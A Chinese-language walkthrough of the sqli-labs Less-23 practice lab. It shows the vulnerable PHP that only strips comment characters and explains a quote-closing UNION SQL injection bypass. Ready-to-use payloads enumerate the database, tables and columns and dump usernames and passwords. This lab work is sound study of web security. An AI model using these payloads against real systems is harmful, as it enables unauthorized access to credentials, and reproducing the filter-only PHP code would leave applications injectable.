1. 题目分析
根据题目要求,这一关和最开始的一样,让我们构造一个?id
参数到url上,通过改变url的参数获取不同的账户信息。
而当我们尝试输入一个14'
的时候,网页给出了报错的信息,'14'' LIMIT 0,1
根据这个内容,可以得知后台的id
参数是使用单引号包裹的。根据一往的策略,我们都会向构造闭合然后使用联合查询。但是这次的情况和往常不同,比如当我们输入了http://127.0.0.1:7788/sqli/Less-23/?id=1' order by 3 --+
这么一条语句尝试查找检索的字段个数的时候,发现页面仍然返回的是一条报错信息。
这是什么原因呢?
我们来看一下源码:
$id=$_GET['id'];
//filter the comments out so as to comments should not work
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
在源码中有这么几行代码,作用就是将我们输入的id
中的注释符号都换成空字符,那么我们就无法像之前那样使用注释将网站本身的SQL语句注释掉了。
2. 注入思路
因此需要换一个思路,我们再来看一下存在注入点的SQL语句:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
- 1
而当我们使用上述的语句http://127.0.0.1:7788/sqli/Less-23/?id=1' order by 3 --+
进行注入的时候,经过后台的过滤就会变成
SELECT * FROM users WHERE id='1' order by 3 ' LIMIT 0,1
- 1
这很明显是一条错误的SQL。
那么我们列举出来要解决的问题:
- 多了一个单引号没有闭合。
LIMIT
仍然存在。
那么我们换一个思路,此时我们再构造一个'
去闭合原本的单引号,并且不再将后面的LIMIT
注释掉。
我们输入这么一条语句
http://127.0.0.1:7788/sqli/Less-23/?id=' union select 1,2,'3
那么经过后台的过滤处理以后拼接到原生的SQL上就是:
SELECT * FROM users WHERE id='' union select 1,2,'3' LIMIT 0,1
- 1
我们看一下结果:
这样,就可以得知原生SQL检索的字段是3个,并且只有后两个会被显示到网页上。而由于我们需要利用第三个字段来构造后半部分的闭合,因此我们只能再第二个字段上进行注入。
3. 注入过程
由上面部分我们知道,需要再第二个字段构造payload
;那么我们先来查一下使用的数据库的名字和data路径。
?id=' union select 1, (select concat(database(), '****', @@datadir)),'3
接着再来查一下该数据库下面有哪些数据表:
?id=' union select 1, (select group_concat(table_name) from information_schema.tables where table_schema="security"),'3
- 1
然后查users
表中有哪些字段
?id=' union select 1, (select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"),'3
- 1
最后爆users
表
?id=' union select 1, (select concat(username, password) from users limit 0,1),'3
- 1
4. 总结
这一关和之前不同之处就在于出现了过滤的机制,我们无法使用之前的注释进行注入,需要更换注入思路,就是将原生SQL的后半部分进行闭合。开始一直研究如何绕过这个过滤,花费了很长时间也没有研究出来,最后发现可以使用闭合通关,因此,对待一个问题一定要想出多种解决思路,至少有一种是可以实现的。